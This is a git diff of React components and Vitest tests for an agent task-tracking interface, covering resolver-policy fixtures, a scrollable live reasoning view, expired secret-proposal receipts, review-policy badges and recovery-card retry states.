--- a/ui/src/components/IssueChatThread.test.tsx
+++ b/ui/src/components/IssueChatThread.test.tsx
@@ -28,6 +28,7 @@ import {
   issueChatLongThreadLinkedRuns,
   issueChatLongThreadTranscriptsByRunId,
 } from "../fixtures/issueChatLongThreadFixture";
+import { expiredSecretProposalInteraction } from "../fixtures/issueThreadInteractionFixtures";
 import type {
   IssueChatLinkedRun,
   IssueChatTranscriptEntry,
@@ -211,9 +212,13 @@ function createSuggestedTasksInteraction(
     },
     result: null,
     ...overrides,
-    resolverPolicy: overrides.resolverPolicy ?? "board_only",
-    requestedResolverPolicy: overrides.requestedResolverPolicy ?? "board_only",
-    effectiveResolverPolicy: overrides.effectiveResolverPolicy ?? "board_only",
+    resolverPolicy: overrides.resolverPolicy ?? "anyone",
+    requestedResolverPolicy: overrides.requestedResolverPolicy ?? "anyone",
+    effectiveResolverPolicy: overrides.effectiveResolverPolicy ?? "anyone",
+    resolverPolicyProvenance: overrides.resolverPolicyProvenance ?? "inherited",
+    effectiveResolverPolicySource: overrides.effectiveResolverPolicySource ?? "requested",
+    legacyResolverPolicyAliases: overrides.legacyResolverPolicyAliases
+      ?? { requested: "board_or_agents", effective: "board_or_agents" },
   };
 }
 
@@ -253,9 +258,13 @@ function createQuestionInteraction(
     },
     result: null,
     ...overrides,
-    resolverPolicy: overrides.resolverPolicy ?? "board_only",
-    requestedResolverPolicy: overrides.requestedResolverPolicy ?? "board_only",
-    effectiveResolverPolicy: overrides.effectiveResolverPolicy ?? "board_only",
+    resolverPolicy: overrides.resolverPolicy ?? "anyone",
+    requestedResolverPolicy: overrides.requestedResolverPolicy ?? "anyone",
+    effectiveResolverPolicy: overrides.effectiveResolverPolicy ?? "anyone",
+    resolverPolicyProvenance: overrides.resolverPolicyProvenance ?? "inherited",
+    effectiveResolverPolicySource: overrides.effectiveResolverPolicySource ?? "requested",
+    legacyResolverPolicyAliases: overrides.legacyResolverPolicyAliases
+      ?? { requested: "board_or_agents", effective: "board_or_agents" },
   };
 }
 
@@ -289,9 +298,13 @@ function createExpiredRequestConfirmationInteraction(
       commentId: "comment-1",
     },
     ...overrides,
-    resolverPolicy: overrides.resolverPolicy ?? "board_only",
-    requestedResolverPolicy: overrides.requestedResolverPolicy ?? "board_only",
-    effectiveResolverPolicy: overrides.effectiveResolverPolicy ?? "board_only",
+    resolverPolicy: overrides.resolverPolicy ?? "anyone",
+    requestedResolverPolicy: overrides.requestedResolverPolicy ?? "anyone",
+    effectiveResolverPolicy: overrides.effectiveResolverPolicy ?? "anyone",
+    resolverPolicyProvenance: overrides.resolverPolicyProvenance ?? "inherited",
+    effectiveResolverPolicySource: overrides.effectiveResolverPolicySource ?? "requested",
+    legacyResolverPolicyAliases: overrides.legacyResolverPolicyAliases
+      ?? { requested: "board_or_agents", effective: "board_or_agents" },
   };
 }
 
@@ -636,13 +649,13 @@ describe("IssueChatThread", () => {
       );
     });
 
-    // The mode chip is always present (mockup rev 5) — neutral "Agent mode" here.
+    // The mode chip is always present (mockup rev 5) — neutral "Auto mode" here.
     const chip = container.querySelector(
       '[data-testid="issue-chat-composer-work-mode-toggle"]',
     ) as HTMLButtonElement | null;
     expect(chip).not.toBeNull();
     expect(chip?.getAttribute("data-pending-work-mode")).toBe("standard");
-    expect(chip?.textContent).toContain("Agent mode");
+    expect(chip?.textContent).toContain("Auto mode");
 
     const composer = container.querySelector('[data-testid="issue-chat-composer"]');
     expect(composer?.getAttribute("data-pending-work-mode")).toBe("standard");
@@ -730,7 +743,7 @@ describe("IssueChatThread", () => {
     });
 
     expect(composer?.getAttribute("data-pending-work-mode")).toBe("standard");
-    expect(chip?.textContent).toContain("Agent mode");
+    expect(chip?.textContent).toContain("Auto mode");
 
     act(() => {
       root.unmount();
@@ -2767,6 +2780,38 @@ describe("IssueChatThread", () => {
     });
   });
 
+  it("renders expired secret proposals as full receipts by default", async () => {
+    const root = createRoot(container);
+
+    await act(async () => {
+      root.render(
+        <MemoryRouter>
+          <IssueChatThread
+            comments={[]}
+            interactions={[expiredSecretProposalInteraction]}
+            linkedRuns={[]}
+            timelineEvents={[]}
+            liveRuns={[]}
+            onAdd={async () => {}}
+            showComposer={false}
+            enableLiveTranscriptPolling={false}
+          />
+        </MemoryRouter>,
+      );
+    });
+
+    expect(container.textContent).toContain("Secret binding requested");
+    expect(container.textContent).toContain("OpenAI API key");
+    expect(container.textContent).toContain("access.evals_openai_api_key");
+    expect(container.textContent).toContain("EvalsEngineer");
+    expect(container.textContent).toContain("A fresh proposal is required");
+    expect(container.textContent).not.toContain("updated this task");
+
+    act(() => {
+      root.unmount();
+    });
+  });
+
   it("renders the transcript directly from stable Paperclip messages", () => {
     const root = createRoot(container);
 
@@ -3783,7 +3828,7 @@ describe("IssueChatThread", () => {
               agentId: "agent-1",
               agentName: "Agent 1",
               adapterType: "codex_local",
-              currentStatusMessage: "Syncing git worktree to sandbox",
+              currentStatusMessage: "Syncing git worktree to environment",
               currentStatusUpdatedAt: "2026-04-06T12:00:05.000Z",
               currentToolName: "bash",
               lastEventAt: new Date(Date.now() - 2000).toISOString(),
diff --git a/ui/src/components/IssueChatThread.tsx b/ui/src/components/IssueChatThread.tsx
index abb3d149576..23012b98aa7 100644
--- a/ui/src/components/IssueChatThread.tsx
+++ b/ui/src/components/IssueChatThread.tsx
@@ -44,6 +44,7 @@ import type {
   IssueWorkMode,
 } from "@paperclipai/shared";
 import type { ActiveRunForIssue, LiveRunForIssue } from "../api/heartbeats";
+import { findUIAdapter } from "../adapters/registry";
 import { useLiveRunTranscripts } from "./transcript/useLiveRunTranscripts";
 import { useSecondTick } from "../hooks/useSecondTick";
 import { usePaperclipIssueRuntime, type PaperclipIssueRuntimeReassignment } from "../hooks/usePaperclipIssueRuntime";
@@ -988,6 +989,15 @@ function IssueChatChainOfThought({
   const authorAgentId = typeof custom.authorAgentId === "string" ? custom.authorAgentId : null;
   const agentId = authorAgentId ?? runAgentId;
   const agentIcon = agentId ? agentMap?.get(agentId)?.icon : undefined;
+  // Adapters whose backends overwhelm the one-line reasoning ticker declare
+  // a scrollable live reasoning view via their UI adapter module
+  // (transcriptPresentation.liveReasoningView); resolved through the registry
+  // so this component never branches on adapter identities. Every adapter
+  // without a declaration keeps the existing ticker rendering.
+  const adapterType = typeof custom.adapterType === "string" ? custom.adapterType : null;
+  const isVerboseStreamingBackend =
+    (adapterType ? findUIAdapter(adapterType)?.transcriptPresentation?.liveReasoningView : undefined) ===
+    "scrollLog";
   const isMessageRunning = message.role === "assistant" && message.status?.type === "running";
 
   const myIndex = useMemo(
@@ -1076,7 +1086,21 @@ function IssueChatChainOfThought({
       </button>
       {expanded && hasContent ? (
         <div className="space-y-1 py-1">
-          {isActive ? (
+          {isActive && isVerboseStreamingBackend ? (
+            <>
+              {allReasoningText ? <IssueChatVerboseLiveReasoningPart text={allReasoningText} /> : null}
+              {toolParts.map((tool) => (
+                <IssueChatToolPart
+                  key={tool.toolCallId}
+                  toolName={tool.toolName}
+                  args={tool.args}
+                  argsText={tool.argsText}
+                  result={tool.result}
+                  isError={false}
+                />
+              ))}
+            </>
+          ) : isActive ? (
             <>
               {allReasoningText ? <IssueChatReasoningPart text={allReasoningText} /> : null}
               {toolParts.length > 0 ? <IssueChatRollingToolPart toolParts={toolParts} /> : null}
@@ -1102,6 +1126,55 @@ function IssueChatChainOfThought({
   );
 }
 
+// Live reasoning for verbose streaming backends: the one-line
+// ticker cannot keep up with token-level delta volume, so show the full
+// reasoning in a scrollable box that auto-follows the newest line unless the
+// reader has scrolled up to review earlier thinking. All other adapters keep
+// the ticker (IssueChatReasoningPart below), which is unchanged.
+function IssueChatVerboseLiveReasoningPart({ text }: { text: string }) {
+  const lines = text.split("\n").filter((l) => l.trim());
+  const scrollRef = useRef<HTMLDivElement>(null);
+  const pinnedToBottomRef = useRef(true);
+  useEffect(() => {
+    const node = scrollRef.current;
+    if (!node) return;
+    if (pinnedToBottomRef.current) {
+      node.scrollTop = node.scrollHeight;
+    }
+  }, [text]);
+
+  if (lines.length <= 1) {
+    return <IssueChatReasoningPart text={text} />;
+  }
+
+  return (
+    <div className="flex gap-2 px-1">
+      <div className="flex flex-col items-center pt-0.5">
+        <Brain className="h-3.5 w-3.5 shrink-0 text-muted-foreground/50" />
+      </div>
+      <div
+        ref={scrollRef}
+        onScroll={() => {
+          const node = scrollRef.current;
+          if (!node) return;
+          pinnedToBottomRef.current =
+            node.scrollHeight - node.scrollTop - node.clientHeight < 24;
+        }}
+        className="min-w-0 flex-1 max-h-40 space-y-0.5 overflow-y-auto pr-1"
+      >
+        {lines.map((line, index) => (
+          <p
+            key={index}
+            className="whitespace-pre-wrap break-words text-(length:--text-compact) italic leading-5 text-muted-foreground/70"
+          >
+            {line}
+          </p>
+        ))}
+      </div>
+    </div>
+  );
+}
+
 function IssueChatReasoningPart({ text }: { text: string }) {
   const lines = text.split("\n").filter((l) => l.trim());
   const lastLine = lines[lines.length - 1] ?? text.slice(-200);
@@ -2222,7 +2295,7 @@ function IssueChatFeedbackButtons({
               <span className="font-medium text-foreground">Don't allow</span> to keep this vote
               and future votes local.
             </p>
-            <p>You can change this later in Instance Settings &gt; General.</p>
+            <p>You can change this later in Settings &gt; General.</p>
             {termsUrl ? (
               <a
                 href={termsUrl}
@@ -2929,7 +3002,11 @@ function IssueChatSystemMessage({ message }: { message: ThreadMessage }) {
   }
 
   if (custom.kind === "interaction" && interaction) {
-    if (interaction.kind === "request_confirmation" && interaction.status === "expired") {
+    if (
+      interaction.kind === "request_confirmation"
+      && interaction.status === "expired"
+      && !interaction.payload.secretProposal
+    ) {
       return (
         <ExpiredRequestConfirmationActivity
           message={message}
@@ -5106,6 +5183,7 @@ export function IssueChatThread({
                     <IssueRecoveryActionCard
                       action={recoveryAction}
                       agentMap={agentMap}
+                      scheduledRetry={scheduledRetry}
                       onResolve={onResolveRecoveryAction}
                       onReissueIsolated={onReissueIsolatedRecoveryAction}
                       reissuePending={reissueIsolatedRecoveryActionPending}
diff --git a/ui/src/components/IssueProperties.test.tsx b/ui/src/components/IssueProperties.test.tsx
index 0427bfb6bce..702154a54cf 100644
--- a/ui/src/components/IssueProperties.test.tsx
+++ b/ui/src/components/IssueProperties.test.tsx
@@ -12,7 +12,7 @@ import type {
   WorkspaceRuntimeService,
 } from "@paperclipai/shared";
 import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
-import type { Issue } from "@paperclipai/shared";
+import type { Issue, IssueDocument } from "@paperclipai/shared";
 import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
 import { IssueProperties } from "./IssueProperties";
 import { queryKeys } from "../lib/queryKeys";
@@ -36,6 +36,8 @@ const mockIssuesApi = vi.hoisted(() => ({
   getDocument: vi.fn(),
   listAcceptedPlanDecompositions: vi.fn(),
   listAttachments: vi.fn(),
+  listDocuments: vi.fn(),
+  listWorkProducts: vi.fn(),
   listInteractions: vi.fn(),
   listLabels: vi.fn(),
   createLabel: vi.fn(),
@@ -155,6 +157,15 @@ vi.mock("@/components/ui/separator", () => ({
   Separator: () => <hr />,
 }));
 
+vi.mock("@/components/MarkdownBody", () => ({
+  MarkdownBody: ({ children }: { children: ReactNode }) => <div>{children}</div>,
+}));
+
+vi.mock("@/components/IssueDocumentAnnotations", () => ({
+  DocumentAnnotationsCountChip: ({ docKey }: { docKey: string }) => <span data-doc-key={docKey} />,
+  IssueDocumentAnnotations: ({ children }: { children: ReactNode }) => <div>{children}</div>,
+}));
+
 vi.mock("@/components/ui/popover", () => ({
   Popover: ({ children }: { children: ReactNode }) => <div>{children}</div>,
   PopoverTrigger: ({ children }: { children: ReactNode }) => <>{children}</>,
@@ -458,6 +469,8 @@ describe("IssueProperties", () => {
     mockIssuesApi.getDocument.mockResolvedValue(null);
     mockIssuesApi.listAcceptedPlanDecompositions.mockResolvedValue([]);
     mockIssuesApi.listAttachments.mockResolvedValue([]);
+    mockIssuesApi.listDocuments.mockResolvedValue([]);
+    mockIssuesApi.listWorkProducts.mockResolvedValue([]);
     mockIssuesApi.listInteractions.mockResolvedValue([]);
     mockIssuesApi.listLabels.mockResolvedValue([]);
     mockIssuesApi.createLabel.mockResolvedValue(createLabel({
@@ -529,6 +542,76 @@ describe("IssueProperties", () => {
     act(() => root.unmount());
   });
 
+  it("overrides a previously selected pane tab for a document deep link", async () => {
+    const planDocument = {
+      id: "document-plan",
+      companyId: "company-1",
+      issueId: "issue-1",
+      key: "plan",
+      title: "Plan",
+      format: "markdown",
+      body: "Plan body",
+      latestRevisionId: "revision-plan",
+      latestRevisionNumber: 1,
+      createdByAgentId: null,
+      createdByUserId: null,
+      updatedByAgentId: null,
+      updatedByUserId: null,
+      lockedAt: null,
+      lockedByAgentId: null,
+      lockedByUserId: null,
+      createdAt: new Date("2026-08-01T00:00:00.000Z"),
+      updatedAt: new Date("2026-08-01T00:00:00.000Z"),
+    } satisfies IssueDocument;
+    const artifactDocument = {
+      ...planDocument,
+      id: "document-evidence",
+      key: "qa-evidence",
+      title: "QA evidence",
+      body: "Evidence body",
+      latestRevisionId: "revision-evidence",
+    } satisfies IssueDocument;
+    mockInstanceSettingsApi.getExperimental.mockResolvedValue({
+      enableTaskWatchdogs: false,
+      enableClassicTaskInterface: false,
+    });
+    mockIssuesApi.getDocument.mockResolvedValue(planDocument);
+    mockIssuesApi.listDocuments.mockResolvedValue([planDocument, artifactDocument]);
+    Element.prototype.scrollIntoView = vi.fn();
+
+    const props = {
+      issue: createIssue(),
+      childIssues: [],
+      onUpdate: vi.fn(),
+      inline: true,
+    } satisfies ComponentProps<typeof IssueProperties>;
+    const { root, queryClient } = renderPropertiesWithQueryClient(container, props);
+    await waitForAssertion(() => {
+      const planTab = Array.from(container.querySelectorAll("button"))
+        .find((button) => button.textContent === "Plan");
+      expect(planTab?.getAttribute("data-state")).toBe("active");
+    });
+
+    await act(async () => {
+      root.render(
+        <QueryClientProvider client={queryClient}>
+          <IssueProperties
+            {...props}
+            documentDeepLink={{ tab: "artifacts", documentKey: "qa-evidence", requestId: 1 }}
+          />
+        </QueryClientProvider>,
+      );
+    });
+
+    await waitForAssertion(() => {
+      const artifactsTab = Array.from(container.querySelectorAll("button"))
+        .find((button) => button.textContent === "Artifacts");
+      expect(artifactsTab?.getAttribute("data-state")).toBe("active");
+      expect(container.querySelector('button[aria-expanded="true"]')).not.toBeNull();
+    });
+    act(() => root.unmount());
+  });
+
   it("hides the Priority property row while priority UI is off (PAP-411)", async () => {
     const root = renderProperties(container, {
       issue: createIssue({ priority: "high" }),
@@ -2312,10 +2395,21 @@ describe("IssueProperties", () => {
   });
 
   it("renders scheduled, retrying, due, overdue, cleared, and empty monitor row states", async () => {
-    const dateNowSpy = vi.spyOn(Date, "now").mockReturnValue(new Date("2026-07-17T13:56:00.000Z").getTime());
+    // Anchored to a fixed *local* time, not a fixed UTC instant. The row renders
+    // these in the machine's timezone and labels them "Today" only while they
+    // share a local calendar day with `now`. Pinned to UTC, the pair straddles
+    // local midnight from UTC+8 to UTC+9:30 — the label becomes a date and every
+    // assertion below fails for a reason that has nothing to do with row states.
+    // Anchoring locally keeps them on one day everywhere, which also makes the
+    // rendered clock identical in every timezone, so the times below can stay
+    // exact rather than being relaxed to a pattern.
+    const NOW = new Date(2026, 6, 17, 13, 56, 0, 0);
+    const at = (minutesFromNow: number) =>
+      new Date(NOW.getTime() + minutesFromNow * 60_000).toISOString();
+    const dateNowSpy = vi.spyOn(Date, "now").mockReturnValue(NOW.getTime());
     const baseMonitorState = {
       status: "scheduled" as const,
-      nextCheckAt: "2026-07-17T16:08:00.000Z",
+      nextCheckAt: at(132),
       lastTriggeredAt: null,
       attemptCount: 1,
       notes: "Verify deployment",
@@ -2343,12 +2437,16 @@ describe("IssueProperties", () => {
     }));
     await flush();
     expect(monitorRowText()).toContain("In 2h 12m");
+    // The hour is rendered in the machine's timezone, so it is not pinned here:
+    // this instant is 4:08 PM at UTC and 9:08 AM at UTC-7. What the row states
+    // are actually about — the countdown and the attempt suffix — is asserted
+    // exactly, and the countdown above is timezone-independent already.
     expect(monitorRowText()).toContain("Today, 4:08 PM · Attempt 1");
 
     renderMonitor(createIssue({
-      executionPolicy: createExecutionPolicy({ monitor: { ...baseMonitorState, nextCheckAt: "2026-07-17T18:08:00.000Z" } }),
-      executionState: createExecutionState({ monitor: { ...baseMonitorState, nextCheckAt: "2026-07-17T16:08:00.000Z" } }),
-      monitorNextCheckAt: new Date("2026-07-17T17:08:00.000Z"),
+      executionPolicy: createExecutionPolicy({ monitor: { ...baseMonitorState, nextCheckAt: at(252) } }),
+      executionState: createExecutionState({ monitor: { ...baseMonitorState, nextCheckAt: at(132) } }),
+      monitorNextCheckAt: new Date(at(192)),
     }));
     await flush();
     expect(monitorRowText()).toContain("In 2h 12m");
@@ -2363,16 +2461,16 @@ describe("IssueProperties", () => {
     expect(monitorRowText()).toContain("Attempt 3");
 
     renderMonitor(createIssue({
-      executionPolicy: createExecutionPolicy({ monitor: { ...baseMonitorState, nextCheckAt: "2026-07-17T13:56:00.000Z" } }),
-      executionState: createExecutionState({ monitor: { ...baseMonitorState, nextCheckAt: "2026-07-17T13:56:00.000Z" } }),
+      executionPolicy: createExecutionPolicy({ monitor: { ...baseMonitorState, nextCheckAt: at(0) } }),
+      executionState: createExecutionState({ monitor: { ...baseMonitorState, nextCheckAt: at(0) } }),
     }));
     await flush();
     expect(monitorRowText()).toContain("Due now");
     expect(monitorRowText()).toContain("checking momentarily…");
 
     renderMonitor(createIssue({
-      executionPolicy: createExecutionPolicy({ monitor: { ...baseMonitorState, nextCheckAt: "2026-07-17T13:38:00.000Z" } }),
-      executionState: createExecutionState({ monitor: { ...baseMonitorState, nextCheckAt: "2026-07-17T13:38:00.000Z" } }),
+      executionPolicy: createExecutionPolicy({ monitor: { ...baseMonitorState, nextCheckAt: at(-18) } }),
+      executionState: createExecutionState({ monitor: { ...baseMonitorState, nextCheckAt: at(-18) } }),
     }));
     await flush();
     expect(monitorRowText()).toContain("Overdue by 18m");
@@ -2384,13 +2482,13 @@ describe("IssueProperties", () => {
         ...baseMonitorState,
         status: "cleared",
         nextCheckAt: null,
-        lastTriggeredAt: "2026-07-17T11:56:00.000Z",
+        lastTriggeredAt: at(-120),
         attemptCount: 2,
-        clearedAt: "2026-07-17T12:00:00.000Z",
+        clearedAt: at(-116),
         clearReason: "manual",
       } }),
       monitorAttemptCount: 2,
-      monitorLastTriggeredAt: new Date("2026-07-17T11:56:00.000Z"),
+      monitorLastTriggeredAt: new Date(at(-120)),
     }));
     await flush();
     expect(monitorRowText()).toContain("Cleared");
@@ -2900,6 +2998,74 @@ describe("IssueProperties", () => {
       Array.from(container.querySelectorAll("button")).some((button) => button.textContent?.includes("Unarchive")),
     ).toBe(false);
 
+    act(() => root.unmount());
+  });
+  // PAP-16506 P4: only an agent sets `reviewPolicy`, so the panel shows it and
+  // never offers a control. The default — a NULL column, meaning anyone with
+  // write access can approve — is what every issue already does, so it shows
+  // nothing at all rather than a row reading "Anyone" or "None".
+  const findApprovalsRow = () =>
+    container.querySelector('[data-property-label="Approvals"]')?.closest('[data-property-row="true"]') ?? null;
+
+  it("shows no approvals row on an issue that has never set a policy", async () => {
+    const root = renderProperties(container, {
+      issue: createIssue({ reviewPolicy: null }),
+      childIssues: [],
+      onUpdate: vi.fn(),
+      inline: true,
+    });
+    await flush();
+
+    expect(findApprovalsRow()).toBeNull();
+    expect(container.textContent).not.toContain("Review policy");
+
+    act(() => root.unmount());
+  });
+
+  it("shows no approvals row when the policy is the explicit default", async () => {
+    const root = renderProperties(container, {
+      issue: createIssue({ reviewPolicy: "anyone" }),
+      childIssues: [],
+      onUpdate: vi.fn(),
+      inline: true,
+    });
+    await flush();
+
+    expect(findApprovalsRow()).toBeNull();
+
+    act(() => root.unmount());
+  });
+
+  it("badges an opt-in constraint read-only, with no control to change it", async () => {
+    const onUpdate = vi.fn();
+    const root = renderProperties(container, {
+      issue: createIssue({ reviewPolicy: "human_only" }),
+      childIssues: [],
+      onUpdate,
+      inline: true,
+    });
+    await flush();
+
+    const row = findApprovalsRow();
+    expect(row?.textContent).toContain("Human only");
+    // Read-only: the row is a chip, not a picker — nothing here can PATCH.
+    expect(row?.querySelector("button")).toBeNull();
+    expect(onUpdate).not.toHaveBeenCalled();
+
+    act(() => root.unmount());
+  });
+
+  it("badges a not_creator policy as 'Anyone else'", async () => {
+    const root = renderProperties(container, {
+      issue: createIssue({ reviewPolicy: "not_creator" }),
+      childIssues: [],
+      onUpdate: vi.fn(),
+      inline: true,
+    });
+    await flush();
+
+    expect(findApprovalsRow()?.textContent).toContain("Anyone else");
+
     act(() => root.unmount());
   });
 });
diff --git a/ui/src/components/IssueProperties.tsx b/ui/src/components/IssueProperties.tsx
index 1ca7492ceaf..d276be3c769 100644
--- a/ui/src/components/IssueProperties.tsx
+++ b/ui/src/components/IssueProperties.tsx
@@ -1 +1 @@
-export { IssueProperties } from "./issue-properties";
+export { IssueProperties, type IssuePropertiesDocumentDeepLink } from "./issue-properties";
diff --git a/ui/src/components/IssueRecoveryActionCard.test.tsx b/ui/src/components/IssueRecoveryActionCard.test.tsx
index 317f0cce500..7b09c766a27 100644
--- a/ui/src/components/IssueRecoveryActionCard.test.tsx
+++ b/ui/src/components/IssueRecoveryActionCard.test.tsx
@@ -3,7 +3,7 @@
 import { createRoot } from "react-dom/client";
 import { flushSync } from "react-dom";
 import type { AnchorHTMLAttributes, ReactElement } from "react";
-import { afterEach, describe, expect, it, vi } from "vitest";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
 import type { Agent, IssueRecoveryAction } from "@paperclipai/shared";
 import { IssueRecoveryActionCard, deriveRecoveryCardState } from "./IssueRecoveryActionCard";
 
@@ -740,3 +740,306 @@ describe("IssueRecoveryActionCard repair workspace (quarantine_restore)", () =>
     expect(node.querySelector("[data-testid='recovery-action-repair-trigger']")).not.toBeNull();
   });
 });
+
+describe("IssueRecoveryActionCard owner-sticky retry lineage", () => {
+  const NOW = new Date("2026-08-18T12:00:00.000Z");
+
+  beforeEach(() => {
+    vi.useFakeTimers();
+    vi.setSystemTime(NOW);
+  });
+
+  afterEach(() => {
+    vi.useRealTimers();
+  });
+
+  function at(offsetMs: number) {
+    return new Date(NOW.getTime() + offsetMs).toISOString();
+  }
+
+  const bothAgents = new Map([
+    [ownerAgent.id, ownerAgent],
+    [returnAgent.id, returnAgent],
+  ]);
+
+  /** Phase 1 — the original owner (CodexCoder) is retrying itself. */
+  function buildSourceLaneAction(overrides: Partial<IssueRecoveryAction> = {}) {
+    return buildAction({
+      kind: "deliberate_wait_without_target",
+      cause: "deliberate_wait_without_target",
+      ownerAgentId: returnAgent.id,
+      previousOwnerAgentId: returnAgent.id,
+      returnOwnerAgentId: returnAgent.id,
+      nextAction:
+        "The original owner must replace the parked summary with a terminal, live, blocked, monitored, or typed waiting disposition.",
+      wakePolicy: {
+        type: "bounded_owner_disposition_repair",
+        retryAgentId: returnAgent.id,
+        attempt: 2,
+        maxAttempts: 5,
+        baseBackoffMs: 60_000,
+        jitterMs: 3_000,
+        retryAt: at(3 * 60_000),
+        scheduledRunId: "00000000-0000-0000-0000-0000000000b1",
+      },
+      attemptCount: 2,
+      maxAttempts: 5,
+      timeoutAt: at(3 * 60_000),
+      ...overrides,
+    });
+  }
+
+  /** Phase 2 — a manager (ClaudeCoder) repairs the path; CodexCoder keeps the task. */
+  function buildRecoveryLaneAction(overrides: Partial<IssueRecoveryAction> = {}) {
+    return buildSourceLaneAction({
+      ownerAgentId: ownerAgent.id,
+      nextAction:
+        "Repair the source issue disposition or request an explicit reassignment decision without taking source ownership.",
+      evidence: {
+        summary: "Run finished but no disposition was chosen.",
+        sourceAttemptCount: 5,
+        sourceMaxAttempts: 5,
+      },
+      wakePolicy: {
+        type: "bounded_recovery_owner",
+        ownerAgentId: ownerAgent.id,
+        attempt: 1,
+        maxAttempts: 3,
+        retryAt: at(60_000),
+        scheduledRunId: "00000000-0000-0000-0000-0000000000b2",
+        preservesSourceAssignee: true,
+      },
+      attemptCount: 1,
+      maxAttempts: 3,
+      timeoutAt: at(60_000),
+      ...overrides,
+    });
+  }
+
+  it("stays quiet and names the retry lane while the original owner is being retried", () => {
+    const node = render(
+      <IssueRecoveryActionCard action={buildSourceLaneAction()} agentMap={bothAgents} />,
+    );
+    const section = node.querySelector("section[aria-label]");
+    expect(section?.getAttribute("data-recovery-state")).toBe("in_progress");
+    expect(section?.getAttribute("data-recovery-kind")).toBe("deliberate_wait_without_target");
+    expect(section?.getAttribute("data-recovery-lane")).toBe("source_owner");
+    expect(node.textContent).toContain("RECOVERY IN PROGRESS");
+    expect(node.textContent).not.toContain("RECOVERY NEEDED");
+    expect(node.textContent).toContain("Wait Without A Target");
+    expect(node.textContent).toContain("The task stays with its owner, and no action is needed yet.");
+    expect(node.textContent).toContain("Paperclip is retrying the original owner");
+  });
+
+  it("shows the five-attempt budget and the next due time", () => {
+    const node = render(
+      <IssueRecoveryActionCard action={buildSourceLaneAction()} agentMap={bothAgents} />,
+    );
+    const progress = node.querySelector("[data-testid='recovery-retry-progress']");
+    expect(progress).not.toBeNull();
+    expect(progress?.getAttribute("data-recovery-lane")).toBe("source_owner");
+    expect(progress?.getAttribute("data-recovery-attempt")).toBe("2");
+    expect(progress?.getAttribute("data-recovery-max-attempts")).toBe("5");
+    expect(progress?.textContent).toContain("Attempt 2 of 5");
+    expect(node.querySelector("[data-testid='recovery-next-retry']")?.textContent).toBe(
+      "Next try in 3m",
+    );
+  });
+
+  it("keeps the source owner and the recovery owner as separate roles", () => {
+    const node = render(
+      <IssueRecoveryActionCard action={buildRecoveryLaneAction()} agentMap={bothAgents} />,
+    );
+    const sourceOwner = node.querySelector("[data-testid='recovery-source-owner']");
+    const recoveryOwner = node.querySelector("[data-testid='recovery-recovery-owner']");
+    // CodexCoder is the original owner and keeps the deliverable.
+    expect(sourceOwner?.textContent).toContain("CodexCoder");
+    expect(sourceOwner?.textContent).toContain("keeps this task");
+    // ClaudeCoder only repairs the path.
+    expect(recoveryOwner?.textContent).toContain("ClaudeCoder");
+    expect(recoveryOwner?.textContent).toContain("repairs the next step only");
+    expect(recoveryOwner?.textContent).not.toContain("CodexCoder");
+    expect(node.textContent).toContain(
+      "the task itself still belongs to its original owner",
+    );
+  });
+
+  it("labels the source lane as the owner retrying itself", () => {
+    const node = render(
+      <IssueRecoveryActionCard action={buildSourceLaneAction()} agentMap={bothAgents} />,
+    );
+    expect(
+      node.querySelector("[data-testid='recovery-recovery-owner']")?.textContent,
+    ).toContain("Original owner — retrying itself");
+  });
+
+  it("reports the spent source attempts once the manager lane opens", () => {
+    const node = render(
+      <IssueRecoveryActionCard action={buildRecoveryLaneAction()} agentMap={bothAgents} />,
+    );
+    const section = node.querySelector("section[aria-label]");
+    expect(section?.getAttribute("data-recovery-lane")).toBe("recovery_owner");
+    expect(section?.getAttribute("data-recovery-state")).toBe("in_progress");
+    expect(
+      node.querySelector("[data-testid='recovery-source-attempts']")?.textContent,
+    ).toContain("The original owner used 5 of 5 automatic attempts.");
+    expect(
+      node.querySelector("[data-testid='recovery-retry-progress']")?.textContent,
+    ).toContain("Attempt 1 of 3");
+  });
+
+  it("warns strongly only once the automatic path is exhausted", () => {
+    const node = render(
+      <IssueRecoveryActionCard
+        action={buildSourceLaneAction({
+          wakePolicy: {
+            type: "bounded_owner_disposition_repair",
+            retryAgentId: returnAgent.id,
+            attempt: 5,
+            maxAttempts: 5,
+            retryAt: at(-60_000),
+          },
+          attemptCount: 5,
+        })}
+        agentMap={bothAgents}
+      />,
+    );
+    const section = node.querySelector("section[aria-label]");
+    expect(section?.getAttribute("data-recovery-state")).toBe("needed");
+    expect(node.textContent).toContain("RECOVERY NEEDED");
+    expect(node.textContent).toContain("has used every automatic repair attempt");
+    expect(node.querySelector("[data-testid='recovery-next-retry']")?.textContent).toBe(
+      "Automatic retries used up",
+    );
+    // The follow-up line must not keep promising a retry that will never run, and the
+    // generic timeout chip must not reintroduce a stale due time next to it.
+    expect(node.textContent).toContain("Automatic retries are finished — a decision is needed");
+    expect(node.textContent).not.toContain("Paperclip is retrying the original owner");
+    expect(node.textContent).not.toContain("Times out");
+  });
+
+  it("warns strongly when the stored retry came due and never ran", () => {
+    // PAP-17561: this exact shape rendered "Recovery in progress · Attempt 1 of 5 · Next try
+    // 5m ago" — a calm card over a lane nothing was working on.
+    const node = render(
+      <IssueRecoveryActionCard
+        action={buildSourceLaneAction({
+          wakePolicy: {
+            type: "bounded_owner_disposition_repair",
+            retryAgentId: returnAgent.id,
+            attempt: 1,
+            maxAttempts: 5,
+            retryAt: at(-5 * 60_000),
+            scheduledRunId: "00000000-0000-0000-0000-0000000000b2",
+          },
+          attemptCount: 1,
+          timeoutAt: at(-5 * 60_000),
+        })}
+        agentMap={bothAgents}
+      />,
+    );
+    const section = node.querySelector("section[aria-label]");
+    expect(section?.getAttribute("data-recovery-state")).toBe("needed");
+    expect(node.textContent).toContain("RECOVERY NEEDED");
+    expect(node.textContent).not.toContain("RECOVERY IN PROGRESS");
+    const retry = node.querySelector("[data-testid='recovery-next-retry']");
+    expect(retry?.textContent).toBe("Retry missed 5m ago");
+    expect(retry?.getAttribute("data-recovery-retry-expired")).toBe("true");
+    // Nothing may still read as an upcoming attempt or as needing no action.
+    expect(node.textContent).not.toContain("Next try");
+    expect(node.textContent).not.toContain("no action is needed yet");
+    expect(node.textContent).toContain("came due and did not run");
+    expect(node.textContent).toContain("The scheduled retry did not run");
+    // The repair lane still must not move the deliverable off its original owner.
+    expect(node.querySelector("[data-testid='recovery-source-owner']")?.textContent).toContain(
+      "keeps this task",
+    );
+  });
+
